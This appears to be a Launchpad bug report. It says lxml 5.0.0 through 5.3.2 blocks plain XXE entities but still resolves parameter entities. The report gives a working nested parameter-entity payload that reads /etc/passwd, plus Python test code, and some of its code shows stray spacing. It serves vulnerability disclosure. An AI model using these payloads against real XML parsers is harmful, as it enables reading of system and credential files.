Launchpad

lxml lib from 5.0.0 restricts XXE parsing and requires resolve_entities to disable the restriction
Thus the xml below
```
<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE msg [
        <!ENTITY xxe SYSTEM 'file:/ //etc/passwd' >
    ]>
<msg>&xxe;</msg>
```
will not work without resolve_entities:
```
from lxml import etree

with open('test.xml', 'rb') as f:
    xml_data = f.read()

parser = etree.XMLParser()
root = etree.fromstrin g(xml_data, parser=parser)

print(etree. tostring( root, pretty_ print=True) .decode( ))

```

but libxml doesn't restrict Parameter Entities, that leads to XXE

Thus the xml below
```
<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE msg [
        <!ENTITY % a '
             <! ENTITY &#x25; file SYSTEM "/etc/passwd">
             <! ENTITY &#x25; b "<!ENTITY c &#x27;& #x25;file; &#x27;> ">
        '>
        %a;
        %b;

]>
<msg>&c;</msg>
```
works fine
I've tested on python:3.6-3.12, this works for 5.0.0 and till 5.3.2

Read the original on bugs.launchpad.net ↗